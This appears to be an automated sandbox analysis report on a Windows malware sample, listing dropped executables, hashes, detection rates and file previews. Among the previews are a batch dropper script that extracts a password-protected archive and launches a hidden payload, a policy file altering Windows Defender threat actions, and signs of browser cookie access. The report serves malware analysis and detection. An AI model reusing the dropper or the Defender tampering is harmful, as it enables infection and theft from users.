Preview:	PK...........Y...qgs$.[s$.....file_9.zipcf\|}.Y..E.LPe.r..Osk....K.%.$.$../z...)..W.,....+..N...F..&...O.l..).{.....bj.....Lx..../s.{..;...............~k.'4\..9[..^$..(..ga..Hy")...z~.....l....U...A"X...........Ux..!.u..Z..u..:...7j@$n...\|X.)....P.O.f[.<s....Xk..&.f!y....D.......VNQw.2W.....G.K%.gj.\|1!.U-..wQoJ..t....3"~..N.)...z+\....8.!j.+..~.{uk..Fdo..Ci.w.B<.e.h...$}A...w.M.x...Y...i.H.X..../.Z.~...A...........\|@`....4...A...\j...9.7gz2g9...._.6.ri.^...t.B..!h..P...9...P........"u..f..D....j...'0..J......"v4...1..2.{....R...D.Q4.... ....."../....HW..P.D.....`,..^.P.T)"...#&....D.......P@...a.....[ ..Q...-......}..S.x.2;..._..F.....]..k.......^.M.}..._.......Q.ys..+.Ubg.K[.....9i....C.y.L...p..._"....B,5.P..qI.'D.....~.....................!.........ug.Z..>..uLu!_.U......>i..H..ne..H..#..T...3.M.&[%_....,..T....^..e.-..h..-..1.....I......q......<..p{.].a]=.....P$@......wD..y8Q:s..<.O.d1..B%.....n..".z..I2.#....U.c.<n:S.5.y..W..*.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2388993
Entropy (8bit):	7.99992607155599
Encrypted:	true
SSDEEP:	49152:hpxEwBJZJxDu722wMViy7nXvqNDZgmVF/O9YOYb86QrNWHKpCGUiZN6Ft:hHEwtJxEOHybqNlgmVF/O9YOY8PrNWHT
MD5:	B4581612D06DBBD6009168D180B71B75
SHA1:	3A351B6FCD554FFD1DA0C5D56CF49461FB9A9A11
SHA-256:	DDEBA62B92A2ABB1F230BCDDFCC56CCCD6F9E7F15BD536A0CC699A2133B57123
SHA-512:	83FD082A9463ADCED28C938232DAAE549D534DBBB91296C0167B917FCB97020AB478918810A5BFAF177F1733569B0482ED4BD6B6E9DAC9220803170390DDA9E0
Malicious:	false
Preview:	PK...........Y...qgs$.[s$.....file_9.zipcf\|}.Y..E.LPe.r..Osk....K.%.$.$../z...)..W.,....+..N...F..&...O.l..).{.....bj.....Lx..../s.{..;...............~k.'4\..9[..^$..(..ga..Hy")...z~.....l....U...A"X...........Ux..!.u..Z..u..:...7j@$n...\|X.)....P.O.f[.<s....Xk..&.f!y....D.......VNQw.2W.....G.K%.gj.\|1!.U-..wQoJ..t....3"~..N.)...z+\....8.!j.+..~.{uk..Fdo..Ci.w.B<.e.h...$}A...w.M.x...Y...i.H.X..../.Z.~...A...........\|@`....4...A...\j...9.7gz2g9...._.6.ri.^...t.B..!h..P...9...P........"u..f..D....j...'0..J......"v4...1..2.{....R...D.Q4.... ....."../....HW..P.D.....`,..^.P.T)"...#&....D.......P@...a.....[ ..Q...-......}..S.x.2;..._..F.....]..k.......^.M.}..._.......Q.ys..+.Ubg.K[.....9i....C.y.L...p..._"....B,5.P..qI.'D.....~.....................!.........ug.Z..>..uLu!_.U......>i..H..ne..H..#..T...3.M.&[%_....,..T....^..e.-..h..-..1.....I......q......<..p{.].a]=.....P$@......wD..y8Q:s..<.O.d1..B%.....n..".z..I2.#....U.c.<n:S.5.y..W..*.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	521
Entropy (8bit):	5.406876335514052
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvfN8EjW57CVGrMLvmuC/ygCC8KmSrHfr:QUpNF16g632CkeqgW57CVGYTQ9CC8Km+
MD5:	A0AAF1FD029E946CC8AB2628AA972729
SHA1:	280EBBF12EB0344A39B44A445090B24BB8C1569D
SHA-256:	7571848C9299DDEAA782DC55B48ECC6FCCAF77CCC7DECDAB6A7CC63F4D8B202E
SHA-512:	03E33AB4F4E787ECC9C07EE9F7CA9B1839A22998A206B971C51DB60CD8D41465BDF84B00FA50564052750E20C0636A8546C4E830488FADE71391657DC61BBE39
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p151921358818216190771159712614 -oextracted ..for /l %%i in (9,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "nRQUvisZS5yyGTCGUs.exe" ../..cd....rd /s /q extracted..attrib +H "nRQUvisZS5yyGTCGUs.exe"..start "" "nRQUvisZS5yyGTCGUs.exe"..cls..echo Launched 'nRQUvisZS5yyGTCGUs.exe'...pause..del /f /q "nRQUvisZS5yyGTCGUs.exe"..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	212520
Entropy (8bit):	7.967073935527294
Encrypted:	false
SSDEEP:	6144:6iESlaraEqoRhgln8pp/TmFAlswna+STECEO:J7mlN08PCF+aDECEO
MD5:	7FEE72EA1DD13C340355BAA7FE9C574A
SHA1:	27896F73EDDC109BBC669B4B1054A60E0C87BBFC
SHA-256:	A5F93EDE5291955FC129FA0DAE4DC954FD3CA29D2D975DE969DC563C0D10085E
SHA-512:	7B585FCC523E8C64847D1C70F744D4053D03A75C37F76E1264A6165AF8A6E2E9CC73D2677DE24E81C2C4EC665798E05DFF5BC20C3956B7A2901798D090A0D381
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................+... ...@....@.. ...............................K....`.................................X+..S....@..................(&...`...... ............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......x................................................................%..y.....w.U%.B......N2.9p.............@..V.%.%.7...=.:.....u;7.y.&....R.J.[.yA.4-.F... .@.6.n.N..3.9i....w...;p.s.W...m.!.......2.....N....1..~.....}E..~.i=B....t..&bc`w1.{.l..%m.U#8.R...........j&.<.z..x...q.......n..;.t....ue...%r34.Gxu.......U.\.`.......V..,.....tX..\|<........1.^+..?.M...f.!,..v..e..M..f.2....C..`...`....D.#Z.Agp........-+...-...W.....KM._4..".)..O..6.#,..t...I

C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	795648
Entropy (8bit):	7.478589132226232
Encrypted:	false
SSDEEP:	24576:aG18MH/r+RAIFqLN7/uW/Nau09jMxrc5N:3aMD+RANBKIJ09j
MD5:	006EDF0AC466164DDC9E0AC56474FE0A
SHA1:	EE9F512713AF63759F11279090D2C8004762735B
SHA-256:	D343EA857CDF97AA0CCFD14970425C6888BD216D36AD7F6255A044BED36A4B2A
SHA-512:	43305369FEA2DAD52D51BC9D5947A2F7E78D33BAADD07093C250B9EB1FD3762C511033BBFAE2B8D6EB52254306D137E29CD15E0B30B0F6D44A9D4F3D12B8B808
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................................F...............................Rich...................PE..L......e.................@..........~........P....@..........................0.......e.......................................f..<...................................................................c..@............P..h............................text....?.......@.................. ..`.rdata..L....P... ...D..............@..@.data........p.......d..............@....rsrc..............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\Documents\piratemamm\PKdZPDjAoZPHH5BsHXkzuNvv.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	39
Entropy (8bit):	4.31426624499232
Encrypted:	false
SSDEEP:	3:ErAbcBxYAFDJvzqxgl:1wBxYA7vzqxg
MD5:	D4AC7F1BBA70BA87C56E6D93092B7CCA
SHA1:	96492A95A7F9153EED58A3598C4CCE56EDC6F8D1
SHA-256:	91218093A08027E8F69C8051F9DEEF1FE6C22B278B3F6BDF761E7587CB272774
SHA-512:	AFDE5B08290C83B95037CACE1B4625457690C824E21615A01413CE8A1040F8C86CD6ABD873DDD57D31C053F835C0F05EB5CDA2B102A17EF558240E73A1AFD1F4
Malicious:	false
Preview:	The page could not be found..NOT_FOUND.

C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3337480
Entropy (8bit):	7.991842581750626
Encrypted:	true
SSDEEP:	49152:Aa5dRh/rrdcQX7kAmen7jJRkNkdKiJZeKtH0LzHPzkRyq/cHG53IpOMb6tdz6c:Aa5rJ/+ewIH/5dKaZeQH0Lc8GKAdz6c
MD5:	F8AFAFBA3E86D50AD9EDCE1D0EA179AB
SHA1:	DA2A418D7D4F39222D16CFAD8CB381CA53F7339C
SHA-256:	2C52F6D1206BC754C5E3AD485B7406D7D611D7D490A2252A969F2CD874EA9569
SHA-512:	A23D51E4621B9A18D9F99D797BCCF64DED9FDDC0C63CCDA8DF5D1D13C5E35633C14BCB66A3DD1205D07C5C3637A9D58E17794E1E85B9D78E578EC723A708ABC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@...................................2..............................................0...N..........@.2..<..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....N...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7652687
Entropy (8bit):	7.996926797499084
Encrypted:	true
SSDEEP:	196608:91OEG2tNPptkHIqn9Akti+Ffk0AwVRvbCeUKjBbY86L:3OgP3kHZ9AcFFDLRuMxQ
MD5:	298D76769C9380C435FD4E43AC256E55
SHA1:	DE6CF97EE3965547A6DA51251566C1D0C779458C
SHA-256:	30DC51BC0EB17C3CC5245FC96D08E282CACB4DCC3F710DA24ECF94C3CC354F5B
SHA-512:	495A657C130ADEAF5E8735135E372A2994CB85A09BFF737849EAFB19659EE664A4F7A8D5A0AADEE0160A43D71D0E4AC5ED13B0E90DD44419F1AAB86C4737EBCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5358592
Entropy (8bit):	6.802676468792409
Encrypted:	false
SSDEEP:	49152:XbmCnE1xZIjbisS54ZMtHnHnHAtNtNtNtOVWIXQhzEcRxGVvqx+rjNk7neIhcyPR:cZIvisRO0EcRxGtyqjYeI1R1c
MD5:	89F3026DEA32A83CC17B59F7590D9467
SHA1:	26133C4416D55DB05059BF81D5D74DB024C184A9
SHA-256:	DBF55DD5C00F37EC49E1B661228ADCC0A286B3EABB35D2F85FC34D82076107F6
SHA-512:	AF4155C731C7F7D398144918767CFB07DCAD45898203F4F25E385BCAFC36246F69A7702482D96A4AC250A04FFF41097E10B503BC9F5F0F41D7E384AF22131275
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....P?...................P..........LP.. ...`P...@.. .......................@R...........@..................................KP.K.....P...................... R......KP.............................................. ............... ..H............text...4,P.. ....P................. ..`.sdata.. ....`P......2P.............@....rsrc.........P......:P.............@..@.reloc....... R.......Q.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	5456
Entropy (8bit):	3.524752871971554
Encrypted:	false
SSDEEP:	96:W9H9h9j9n9a9K9o92939l9S9n9V9AyJ0W0Di0x0u010rY0u0u0A40w9:eTN
MD5:	A5E24C8266E85218BFF176B22C79289E
SHA1:	CDDE5F7A697C0C34C82341A57C1510138CEDE663
SHA-256:	6B4368B2715167C20670B1AABB60AC924CFA44760A5C67BBD56350D61D3AA73F
SHA-512:	0569B2966BD804BA0DD14D2E31B6CF2B63BCE503BA04AF7155C10D3BA1CAF28D7F1A5CAF043AC7601D4E908AE8567FBF54CB4170D88E8CD607FAC0D349194C7D
Malicious:	false
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s...;.T.h.r.e.a.t.s._.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.2.5.4.5.1...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.5.6.5.9.6...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.4.2.8.7.2...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.1.4.7.7.4.9.3.7.3...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.9507895998010145
Encrypted:	false
SSDEEP:	6:1QnMzYHxbnPonn3dXsMzYHxbnn/JIAuNhUHdhJg+5Rnn3dzC:1QM0HxbnIV0Hxbn/JnumuuzC
MD5:	A62CE44A33F1C05FC2D340EA0CA118A4
SHA1:	1F03EB4716015528F3DE7F7674532C1345B2717D
SHA-256:	9F2CD4ACF23D565BC8498C989FCCCCF59FD207EF8925111DC63E78649735404A
SHA-512:	9D9A4DA2DF0550AFDB7B80BE22C6F4EF7DA5A52CC2BB4831B8FF6F30F0EE9EAC8960F61CDD7CFE0B1B6534A0F9E738F7EB8EA3839D2D92ABEB81660DE76E7732
Malicious:	true
Preview:	[General].gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}].gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}{D02B1F72-3407-48AE-BA88-E8213C6761F1}].Version=100001.

C:\Windows\Tasks\bGRMUcRlXIkCKIeoVz.job

Download File

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	data
Category:	dropped
Size (bytes):	424
Entropy (8bit):	3.547056084189732
Encrypted:	false
SSDEEP:	12:vKm1JRKQ1bvWGe2TNp5B7RKQ1bsjzvYRQVP:Ca9uyD796vA
MD5:	4B332E5E041DBCA803A94F840FC809CD
SHA1:	FCDB533A291DBF45B101C83F75606B2EEA55E704
SHA-256:	072EF89872FCC879E2EEB1D4AB8DBA96B882BE69356591AF61E85260C7BD5BCB
SHA-512:	5DC7B519E87A3F32A548C5595D2DAE49D4BE7F3971A0A9F043762B8B95A4E3DB1C5D9B3D006C8823F1314577D1A3208425885BE4EE4197E158433149DCBFEF75
Malicious:	false
Preview:	....}.k.}..@..a.G.-F.v.....<... .....s...............................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.8.6.8...t.m.p.\.I.n.s.t.a.l.l...e.x.e.....u.3. ./.h.g.g.d.i.d.O.L.c. .5.2.5.4.0.3. ./.S...-.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.8.6.8...t.m.p.....J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...............................................

C:\Windows\Temp\GyCSmFAiAvfejamA\vWUiZCTWPqDpUzR\RRJEdwx.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6950912
Entropy (8bit):	7.765308884021975
Encrypted:	false
SSDEEP:	196608:I3D5YRd3VKY1TMjDp+UPIubnOpFZwT47:kYX3VK+TMj8UjnU9
MD5:	7D00023CEEF9EF54D0F55A3F84BA4A15
SHA1:	3AD394FB61DEC8B1ABA5A049DFDF54CCD4358767
SHA-256:	6C39082E3053E6EDFB91745AE1C8F326A0CE14E4E4B3778EA9D978968E7B5729
SHA-512:	91D28A5C20A811F05AFFBB8104F214A31ABF6891CC921A752678048A99CE2121549957C14FEDFB5319B792AC5E55594E93D4845EC7AD87CF7F25DB8275AC9818
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b`.............Q......Q......Q.....L..............$.....$......Rich....................PE..L......a.................6....`.....r........P....@...........................j.......j...@.................................l.j..............................@j..6....................................i.@.............j.l............................text....4.......6.................. ..`.data....._..P...t_..:..............@....idata..$.....j.......i.............@..@.kVzE........0j.......i.............@....reloc...6...@j..8....i.............@..B........................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.063071112514154
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBVWRHSTgJF1AivbtHgNyorFfpap1tNIjn:pMpDh5RwX2RyTgJFyYb9orJA1tNIjn
MD5:	0A702465320A3621561B4E955532CB01
SHA1:	B4BF2BC5147EB9FEB5E04F26A1EDCB15C31A03C7
SHA-256:	D407A2A5BF4624E8E5170E3D6C31236663F841B636AC00B6BC8BE7F794FFF42E
SHA-512:	DC6CD4FB869FC6E6CD3008483D261CE6F2BA70E638217E579AC43EFE141B49BC33CB89DBCF32CDA6DF9AB16734892FD1DBCA126AFA4BB0687BE88B791C901058
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 719612 bytes (703 KiB)....Extracting archive: extracted\file_4.zip..--..Path = extracted\file_4.zip..Type = zip..Physical Size = 719612.... 0%. .Everything is Ok....Size: 719458..Compressed: 719612..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.935313095757079
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gHPYUEh253.exe
File size:	4'411'904 bytes
MD5:	15564517054045e4735b8c627d7f5c0d
SHA1:	feb10e43a661ecaeb4da1c8b37f54ae93d90e315
SHA256:	e0d537f8669e6764bf4a4b8f4013ec219958749a5fde8b11fb52faaedde3cada
SHA512:	705dd7c4234a80751a77c5e211df1883dd1de9cb8562eab10788e920d0e2ca0e4808c0edd4941f4c47a5602ac2b23454b3f404241c8d58f45070dbb541552087
SSDEEP:	98304:4VLZqQiIPvfHJuETAwNdMHUDYvYV8tx0ddVxTe0Aq50QaR:4dZmIPXHwE/fYAVWyLxTehq3a
TLSH:	F61612D6B686C6F9C026CBB4D992B4FD31693FA5CC744DC63A887E0B3C735109E6A901
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...RW.f.........."....'.....T....../.D........@......................................C...`................................

File Icon


Icon Hash:	01060e5e1232161d

Static PE Info

General

Entrypoint:	0x14044882f
Entrypoint Section:	.vmp
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C75752 [Thu Aug 22 15:20:50 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d3467cb5eaf453087bf8f9b28a57ca3b

Entrypoint Preview

Instruction
call 00007F96648C5A13h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x513ae8	0xa0	.vmp
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7d6000	0x19a80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x7c9c50	0xa224	.vmp
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d4000	0x156c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4f3240	0x28	.vmp
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7c9b10	0x140	.vmp
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3ba000	0x778	.vmp
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11cf0e	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
